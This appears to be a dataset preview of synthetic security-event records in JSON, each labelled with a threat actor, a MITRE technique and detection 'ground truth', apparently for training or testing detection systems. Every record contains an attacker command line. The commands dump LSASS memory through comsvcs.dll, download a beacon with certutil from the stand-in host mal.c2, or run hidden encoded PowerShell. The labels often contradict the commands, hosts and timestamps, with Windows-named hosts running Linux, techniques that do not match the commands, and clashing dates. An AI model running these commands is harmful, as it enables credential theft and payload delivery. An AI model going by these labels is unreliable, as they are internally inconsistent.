text
stringlengths 1.13k
1.33k
|
|---|
{"attack":{"actor":"Scattered Spider","confidence":1.0,"description":"[Scattered Spider] performed T1071.001 using encrypted C2 technique.","sub_technique":"Web Protocols (HTTPS C2)","tactic":["Command and Control","Credential Access","Impact"],"technique_id":"T1071.001"},"event_id":"evt_scatteredspider_20260117T163618000Z_0001201","ground_truth":{"detection_guidance":"Sigma rule for T1071.001 | Join on src_ip within 10m","evasion_used":["LOLBin","WMI","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.184.43.213","name":"IAM-ROLE-ZHCX9H9F8H","os":"Windows 11"},"impact":{"business_risk":"Long-term persistence achieved","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"1201Scattered SpiderT1071.001"},"network":{"domain":"github.com","dst_ip":"1.89.64.190","dst_port":443,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 2871 C:\\temp\\lsass.dmp full","name":"rundll32.exe","parent_name":"explorer.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2025-05-18T14:15:44.000Z","user":{"name":"CORP\\cmsk4xw499km","sid":"S-1-5-21-966649460-179860262-6324"}}
|
{"attack":{"actor":"Scattered Spider","confidence":1.0,"description":"[Scattered Spider] performed T1484.001 using LOLBin technique.","sub_technique":"Domain Policy Modification: Group Policy Modification","tactic":["Impact"],"technique_id":"T1484.001"},"event_id":"evt_scatteredspider_20250418T185656000Z_0001203","ground_truth":{"detection_guidance":"Sigma rule for T1484.001 | Join on src_ip within 10m","evasion_used":["LOLBin","Base64","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.152.175.123","name":"WIN-FIN-SRV-KDX2V5XA3J","os":"Amazon Linux 2"},"impact":{"business_risk":"Cloud environment takeover","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"1203Scattered SpiderT1484.001"},"network":{"domain":"cdn-content.com","dst_ip":"1.13.54.155","dst_port":8443,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"rundll32.exe","parent_name":"winlogon.exe"},"source":"Windows Security Log","timestamp":"2026-09-04T21:47:22.000Z","user":{"name":"azuread\\tmkm1gwx8t40","sid":"S-1-5-21-950268254-316489185-6862"}}
|
{"attack":{"actor":"APT41","confidence":1.0,"description":"[APT41] performed T1059.001 using cloud-native technique.","sub_technique":"PowerShell","tactic":["Exfiltration"],"technique_id":"T1059.001"},"event_id":"evt_apt41_20250828T015443000Z_0001205","ground_truth":{"detection_guidance":"Sigma rule for T1059.001 | Join on src_ip within 10m","evasion_used":["JA3 Spoof","WMI","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.228.93.125","name":"AZURE-VM-2K15RFLNVQ","os":"Amazon Linux 2"},"impact":{"business_risk":"Long-term persistence achieved","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"1205APT41T1059.001"},"network":{"domain":"github.com","dst_ip":"1.118.245.31","dst_port":443,"protocol":"HTTP/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 3123 C:\\temp\\lsass.dmp full","name":"wmic.exe","parent_name":"explorer.exe"},"source":"Network Connection (DS0029)","timestamp":"2026-05-20T23:46:27.000Z","user":{"name":"i-kw3f9iivgn1a","sid":"S-1-5-21-329804685-833114890-4774"}}
|
{"attack":{"actor":"UNC4841","confidence":1.0,"description":"[UNC4841] performed T1546.003 using LOLBin technique.","sub_technique":"Event Triggered Execution: WMI Event Subscription","tactic":["Privilege Escalation","Lateral Movement","Exfiltration"],"technique_id":"T1546.003"},"event_id":"evt_unc4841_20260501T083317000Z_0001207","ground_truth":{"detection_guidance":"Sigma rule for T1546.003 | Join on src_ip within 10m","evasion_used":["Fileless","WMI","LOLBin"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.76.67.130","name":"WIN-FIN-SRV-89BA2T2C2Q","os":"Windows Server 2022"},"impact":{"business_risk":"Domain dominance","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"1207UNC4841T1546.003"},"network":{"domain":"aws.amazon.com","dst_ip":"1.193.42.23","dst_port":3389,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc JABkACAALQBlAH...","name":"certutil.exe","parent_name":"svchost.exe"},"source":"Sysmon (DS0024)","timestamp":"2026-03-29T03:05:15.000Z","user":{"name":"azuread\\98asqu9zz8a1","sid":"S-1-5-21-893926674-181698565-9628"}}
|
{"attack":{"actor":"Mustang Panda","confidence":1.0,"description":"[Mustang Panda] performed T1566.001 using LOLBin technique.","sub_technique":"Phishing: Spearphishing Attachment","tactic":["Command and Control","Discovery"],"technique_id":"T1566.001"},"event_id":"evt_mustangpanda_20251207T095945000Z_0001209","ground_truth":{"detection_guidance":"Sigma rule for T1566.001 | Join on src_ip within 10m","evasion_used":["WMI","TLS","Base64"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.63.30.29","name":"IAM-ROLE-6MZGMSINR3","os":"Amazon Linux 2"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"1209Mustang PandaT1566.001"},"network":{"domain":"cdn-content.com","dst_ip":"1.98.88.32","dst_port":445,"protocol":"HTTP/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 575 C:\\temp\\lsass.dmp full","name":"cmstp.exe","parent_name":"winlogon.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2026-03-24T06:35:43.000Z","user":{"name":"CORP\\6fr6q9fq13f5","sid":"S-1-5-21-916870207-936362841-7808"}}
|
{"attack":{"actor":"APT41","confidence":1.0,"description":"[APT41] performed T1021.006 using encrypted C2 technique.","sub_technique":"Windows Remote Management","tactic":["Reconnaissance","Exfiltration"],"technique_id":"T1021.006"},"event_id":"evt_apt41_20250311T044035000Z_0001211","ground_truth":{"detection_guidance":"Sigma rule for T1021.006 | Join on src_ip within 10m","evasion_used":["LOLBin","JA3 Spoof","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.239.68.12","name":"IAM-ROLE-FA2XN7JBW3","os":"Windows 11"},"impact":{"business_risk":"Long-term persistence achieved","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"1211APT41T1021.006"},"network":{"domain":"update.microsoft.com","dst_ip":"1.57.113.91","dst_port":8443,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc aWV4IChOZXctT2JqZWN0IE5ldC...","name":"cmstp.exe","parent_name":"svchost.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2025-12-20T07:35:56.000Z","user":{"name":"CORP\\3fxipr9seuqm","sid":"S-1-5-21-559210625-713501762-6393"}}
|
{"attack":{"actor":"APT29","confidence":1.0,"description":"[APT29] performed T1003.001 using encrypted C2 technique.","sub_technique":"OS Credential Dumping: LSASS Memory","tactic":["Credential Access"],"technique_id":"T1003.001"},"event_id":"evt_apt29_20260320T014449000Z_0001213","ground_truth":{"detection_guidance":"Sigma rule for T1003.001 | Join on src_ip within 10m","evasion_used":["Fileless","JA3 Spoof","Base64"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.191.234.119","name":"EC2-INST-EGG7JRO14T","os":"Amazon Linux 2"},"impact":{"business_risk":"Data exfiltration channel open","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"1213APT29T1003.001"},"network":{"domain":"cdn-content.com","dst_ip":"1.8.66.144","dst_port":3389,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 2067 C:\\temp\\lsass.dmp full","name":"rundll32.exe","parent_name":"winlogon.exe"},"source":"Network Connection (DS0029)","timestamp":"2026-07-16T17:19:13.000Z","user":{"name":"CORP\\jhh3fp27ppat","sid":"S-1-5-21-296452022-287394194-1595"}}
|
{"attack":{"actor":"APT41","confidence":1.0,"description":"[APT41] performed T1021.006 using fileless technique.","sub_technique":"Windows Remote Management","tactic":["Reconnaissance","Persistence","Defense Evasion"],"technique_id":"T1021.006"},"event_id":"evt_apt41_20260626T065701000Z_0001215","ground_truth":{"detection_guidance":"Sigma rule for T1021.006 | Join on src_ip within 10m","evasion_used":["WMI","JA3 Spoof","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.215.75.54","name":"WIN-FIN-SRV-MX0KZDEVQN","os":"Windows 11"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"1215APT41T1021.006"},"network":{"domain":"github.com","dst_ip":"1.107.52.132","dst_port":445,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc aWV4IChOZXctT2JqZWN0IE5ldC...","name":"mshta.exe","parent_name":"services.exe"},"source":"Sysmon (DS0024)","timestamp":"2025-08-25T15:14:09.000Z","user":{"name":"svc_xz5qapv47vq3","sid":"S-1-5-21-921143867-150085238-7341"}}
|
{"attack":{"actor":"APT41","confidence":1.0,"description":"[APT41] performed T1098.004 using cloud-native technique.","sub_technique":"SSH Authorized Keys","tactic":["Exfiltration","Lateral Movement","Discovery"],"technique_id":"T1098.004"},"event_id":"evt_apt41_20251015T180600000Z_0001217","ground_truth":{"detection_guidance":"Sigma rule for T1098.004 | Join on src_ip within 10m","evasion_used":["Base64","WMI","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.43.101.133","name":"IAM-ROLE-RYG731Z2LP","os":"Windows 11"},"impact":{"business_risk":"Long-term persistence achieved","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"1217APT41T1098.004"},"network":{"domain":"github.com","dst_ip":"1.49.218.22","dst_port":8443,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"powershell.exe","parent_name":"winlogon.exe"},"source":"Windows Security Log","timestamp":"2025-02-16T12:45:03.000Z","user":{"name":"arn:aws:iam::7ejhzxy6u29h","sid":"S-1-5-21-264971346-189715758-5725"}}
|
{"attack":{"actor":"APT29","confidence":1.0,"description":"[APT29] performed T1003.001 using LOLBin technique.","sub_technique":"OS Credential Dumping: LSASS Memory","tactic":["Privilege Escalation","Discovery"],"technique_id":"T1003.001"},"event_id":"evt_apt29_20260407T105418000Z_0001219","ground_truth":{"detection_guidance":"Sigma rule for T1003.001 | Join on src_ip within 10m","evasion_used":["Fileless","JA3 Spoof","Base64"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.100.50.234","name":"APP-WEB-C5DR83TB36","os":"Ubuntu 22.04"},"impact":{"business_risk":"Long-term persistence achieved","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"1219APT29T1003.001"},"network":{"domain":"aws.amazon.com","dst_ip":"1.156.66.132","dst_port":443,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"bitsadmin.exe","parent_name":"svchost.exe"},"source":"Sysmon (DS0024)","timestamp":"2026-11-21T11:48:17.000Z","user":{"name":"azuread\\3ozeqnbtroou","sid":"S-1-5-21-965460545-202738597-7985"}}
|
{"attack":{"actor":"Volt Typhoon","confidence":1.0,"description":"[Volt Typhoon] performed T1546.003 using fileless technique.","sub_technique":"Event Triggered Execution: WMI Event Subscription","tactic":["Defense Evasion"],"technique_id":"T1546.003"},"event_id":"evt_volttyphoon_20251122T141213000Z_0001221","ground_truth":{"detection_guidance":"Sigma rule for T1546.003 | Join on src_ip within 10m","evasion_used":["LOLBin","Base64","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.190.48.216","name":"WIN-FIN-SRV-64TUWQ9CRW","os":"Windows 11"},"impact":{"business_risk":"Long-term persistence achieved","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"1221Volt TyphoonT1546.003"},"network":{"domain":"aws.amazon.com","dst_ip":"1.111.182.20","dst_port":8443,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"rundll32.exe","parent_name":"services.exe"},"source":"Sysmon (DS0024)","timestamp":"2025-09-28T11:15:02.000Z","user":{"name":"arn:aws:iam::xoxwhw35mh8d","sid":"S-1-5-21-307991620-953090004-1144"}}
|
{"attack":{"actor":"Scattered Spider","confidence":1.0,"description":"[Scattered Spider] performed T1098.004 using encrypted C2 technique.","sub_technique":"SSH Authorized Keys","tactic":["Credential Access","Exfiltration","Execution"],"technique_id":"T1098.004"},"event_id":"evt_scatteredspider_20250828T125114000Z_0001223","ground_truth":{"detection_guidance":"Sigma rule for T1098.004 | Join on src_ip within 10m","evasion_used":["WMI","TLS","LOLBin"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.220.117.177","name":"EC2-INST-2VC5XRGREN","os":"Amazon Linux 2"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"1223Scattered SpiderT1098.004"},"network":{"domain":"aws.amazon.com","dst_ip":"1.109.45.158","dst_port":8443,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc JABkACAALQBlAH...","name":"rundll32.exe","parent_name":"services.exe"},"source":"Sysmon (DS0024)","timestamp":"2025-06-08T21:40:08.000Z","user":{"name":"svc_qf83oqlcamzv","sid":"S-1-5-21-617902839-742017024-9190"}}
|
{"attack":{"actor":"Scattered Spider","confidence":1.0,"description":"[Scattered Spider] performed T1484.001 using fileless technique.","sub_technique":"Domain Policy Modification: Group Policy Modification","tactic":["Collection"],"technique_id":"T1484.001"},"event_id":"evt_scatteredspider_20250220T002121000Z_0001225","ground_truth":{"detection_guidance":"Sigma rule for T1484.001 | Join on src_ip within 10m","evasion_used":["JA3 Spoof","TLS","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.236.248.69","name":"APP-WEB-QDAW3BF8QZ","os":"Amazon Linux 2"},"impact":{"business_risk":"Domain dominance","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"1225Scattered SpiderT1484.001"},"network":{"domain":"github.com","dst_ip":"1.82.120.56","dst_port":443,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc JABkACAALQBlAH...","name":"powershell.exe","parent_name":"services.exe"},"source":"CloudTrail (DS0028)","timestamp":"2025-02-27T08:31:28.000Z","user":{"name":"arn:aws:iam::2hbgxvujrktj","sid":"S-1-5-21-788823036-139692578-5672"}}
|
{"attack":{"actor":"FIN7","confidence":1.0,"description":"[FIN7] performed T1484.001 using LOLBin technique.","sub_technique":"Domain Policy Modification: Group Policy Modification","tactic":["Persistence"],"technique_id":"T1484.001"},"event_id":"evt_fin7_20261219T231643000Z_0001227","ground_truth":{"detection_guidance":"Sigma rule for T1484.001 | Join on src_ip within 10m","evasion_used":["TLS","Fileless","LOLBin"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.12.121.248","name":"AZURE-VM-TNUVY3HMGX","os":"Windows Server 2022"},"impact":{"business_risk":"Domain dominance","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"1227FIN7T1484.001"},"network":{"domain":"update.microsoft.com","dst_ip":"1.135.36.6","dst_port":445,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"certutil.exe","parent_name":"explorer.exe"},"source":"Windows Security Log","timestamp":"2026-04-14T12:43:59.000Z","user":{"name":"CORP\\l4izu77wulng","sid":"S-1-5-21-475908190-454072643-9502"}}
|
{"attack":{"actor":"APT29","confidence":1.0,"description":"[APT29] performed T1566.001 using fileless technique.","sub_technique":"Phishing: Spearphishing Attachment","tactic":["Reconnaissance","Persistence","Privilege Escalation"],"technique_id":"T1566.001"},"event_id":"evt_apt29_20250325T204548000Z_0001229","ground_truth":{"detection_guidance":"Sigma rule for T1566.001 | Join on src_ip within 10m","evasion_used":["TLS","Base64","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.182.53.177","name":"EC2-INST-WYRF04S4SR","os":"Windows Server 2022"},"impact":{"business_risk":"Long-term persistence achieved","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"1229APT29T1566.001"},"network":{"domain":"aws.amazon.com","dst_ip":"1.77.75.52","dst_port":443,"protocol":"HTTP/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc aWV4IChOZXctT2JqZWN0IE5ldC...","name":"mshta.exe","parent_name":"svchost.exe"},"source":"Windows Security Log","timestamp":"2026-09-17T16:22:12.000Z","user":{"name":"CORP\\caoky8y31i36","sid":"S-1-5-21-855021523-712111799-1214"}}
|
{"attack":{"actor":"FIN7","confidence":1.0,"description":"[FIN7] performed T1566.001 using LOLBin technique.","sub_technique":"Phishing: Spearphishing Attachment","tactic":["Reconnaissance","Defense Evasion","Persistence"],"technique_id":"T1566.001"},"event_id":"evt_fin7_20260526T224338000Z_0001231","ground_truth":{"detection_guidance":"Sigma rule for T1566.001 | Join on src_ip within 10m","evasion_used":["LOLBin","TLS","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.12.189.164","name":"IAM-ROLE-J36I8GR54P","os":"Windows 11"},"impact":{"business_risk":"Domain dominance","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"1231FIN7T1566.001"},"network":{"domain":"github.com","dst_ip":"1.119.137.192","dst_port":5985,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 3255 C:\\temp\\lsass.dmp full","name":"certutil.exe","parent_name":"explorer.exe"},"source":"Network Connection (DS0029)","timestamp":"2025-01-12T23:59:39.000Z","user":{"name":"arn:aws:iam::o396856he79m","sid":"S-1-5-21-769392435-304796354-3081"}}
|
{"attack":{"actor":"Scattered Spider","confidence":1.0,"description":"[Scattered Spider] performed T1003.001 using encrypted C2 technique.","sub_technique":"OS Credential Dumping: LSASS Memory","tactic":["Initial Access"],"technique_id":"T1003.001"},"event_id":"evt_scatteredspider_20260511T124140000Z_0001233","ground_truth":{"detection_guidance":"Sigma rule for T1003.001 | Join on src_ip within 10m","evasion_used":["Base64","LOLBin","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.54.240.222","name":"IAM-ROLE-5LLH1H1CZV","os":"Windows 11"},"impact":{"business_risk":"Long-term persistence achieved","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"1233Scattered SpiderT1003.001"},"network":{"domain":"update.microsoft.com","dst_ip":"1.48.64.229","dst_port":8443,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc aWV4IChOZXctT2JqZWN0IE5ldC...","name":"wmic.exe","parent_name":"svchost.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2025-04-23T17:08:23.000Z","user":{"name":"azuread\\5oc0kh16f6w7","sid":"S-1-5-21-843453504-542565109-3384"}}
|
{"attack":{"actor":"APT29","confidence":1.0,"description":"[APT29] performed T1059.001 using fileless technique.","sub_technique":"PowerShell","tactic":["Credential Access"],"technique_id":"T1059.001"},"event_id":"evt_apt29_20260102T113514000Z_0001235","ground_truth":{"detection_guidance":"Sigma rule for T1059.001 | Join on src_ip within 10m","evasion_used":["TLS","Fileless","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.193.147.133","name":"IAM-ROLE-M5VERT9197","os":"Windows Server 2022"},"impact":{"business_risk":"Cloud environment takeover","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"1235APT29T1059.001"},"network":{"domain":"github.com","dst_ip":"1.83.131.50","dst_port":443,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"bitsadmin.exe","parent_name":"services.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2025-03-12T02:08:09.000Z","user":{"name":"arn:aws:iam::cnsqsjrvaesh","sid":"S-1-5-21-292321476-703819761-8551"}}
|
{"attack":{"actor":"FIN7","confidence":1.0,"description":"[FIN7] performed T1059.001 using LOLBin technique.","sub_technique":"PowerShell","tactic":["Command and Control"],"technique_id":"T1059.001"},"event_id":"evt_fin7_20251111T091122000Z_0001237","ground_truth":{"detection_guidance":"Sigma rule for T1059.001 | Join on src_ip within 10m","evasion_used":["TLS","LOLBin","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.83.42.141","name":"EC2-INST-46DVBALI0A","os":"Windows Server 2022"},"impact":{"business_risk":"Cloud environment takeover","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"1237FIN7T1059.001"},"network":{"domain":"cdn-content.com","dst_ip":"1.176.45.226","dst_port":5985,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"powershell.exe","parent_name":"explorer.exe"},"source":"Network Connection (DS0029)","timestamp":"2025-10-22T12:11:24.000Z","user":{"name":"i-141ylfc8kgaq","sid":"S-1-5-21-758408575-416711252-5690"}}
|
{"attack":{"actor":"Mustang Panda","confidence":1.0,"description":"[Mustang Panda] performed T1003.001 using cloud-native technique.","sub_technique":"OS Credential Dumping: LSASS Memory","tactic":["Reconnaissance","Defense Evasion"],"technique_id":"T1003.001"},"event_id":"evt_mustangpanda_20250227T134821000Z_0001239","ground_truth":{"detection_guidance":"Sigma rule for T1003.001 | Join on src_ip within 10m","evasion_used":["TLS","WMI","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.162.208.184","name":"DB-ORACLE-I143VD7540","os":"Ubuntu 22.04"},"impact":{"business_risk":"Domain dominance","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"1239Mustang PandaT1003.001"},"network":{"domain":"cdn-content.com","dst_ip":"1.59.48.6","dst_port":3389,"protocol":"HTTP/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"wmic.exe","parent_name":"svchost.exe"},"source":"Sysmon (DS0024)","timestamp":"2026-12-25T22:58:16.000Z","user":{"name":"azuread\\f65t1ab0wsad","sid":"S-1-5-21-379214948-501361028-8583"}}
|
{"attack":{"actor":"UNC4841","confidence":1.0,"description":"[UNC4841] performed T1570 using fileless technique.","sub_technique":"Lateral Tool Transfer","tactic":["Initial Access","Lateral Movement"],"technique_id":"T1570"},"event_id":"evt_unc4841_20261023T230543000Z_0001241","ground_truth":{"detection_guidance":"Sigma rule for T1570 | Join on src_ip within 10m","evasion_used":["Base64","LOLBin","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.89.156.110","name":"WIN-FIN-SRV-G98CRDO5XN","os":"Windows 11"},"impact":{"business_risk":"Cloud environment takeover","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"1241UNC4841T1570"},"network":{"domain":"aws.amazon.com","dst_ip":"1.180.235.13","dst_port":445,"protocol":"HTTP/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 3997 C:\\temp\\lsass.dmp full","name":"powershell.exe","parent_name":"svchost.exe"},"source":"Sysmon (DS0024)","timestamp":"2026-06-14T01:45:04.000Z","user":{"name":"CORP\\710m8lc9871f","sid":"S-1-5-21-931890315-426168459-1016"}}
|
{"attack":{"actor":"Lapsus$","confidence":1.0,"description":"[Lapsus$] performed T1546.003 using fileless technique.","sub_technique":"Event Triggered Execution: WMI Event Subscription","tactic":["Command and Control","Initial Access"],"technique_id":"T1546.003"},"event_id":"evt_lapsus_20260522T225623000Z_0001243","ground_truth":{"detection_guidance":"Sigma rule for T1546.003 | Join on src_ip within 10m","evasion_used":["Fileless","TLS","Base64"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.11.141.186","name":"AZURE-VM-C0Y4N4X83G","os":"Windows Server 2022"},"impact":{"business_risk":"Data exfiltration channel open","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"1243Lapsus$T1546.003"},"network":{"domain":"cdn-content.com","dst_ip":"1.127.21.222","dst_port":445,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc UQBvAHcAZQByAFMAaABlAGwAbAAgAC0A...","name":"powershell.exe","parent_name":"explorer.exe"},"source":"Windows Security Log","timestamp":"2026-05-18T03:58:24.000Z","user":{"name":"svc_y61uwwvb9mbn","sid":"S-1-5-21-238379060-573355133-1064"}}
|
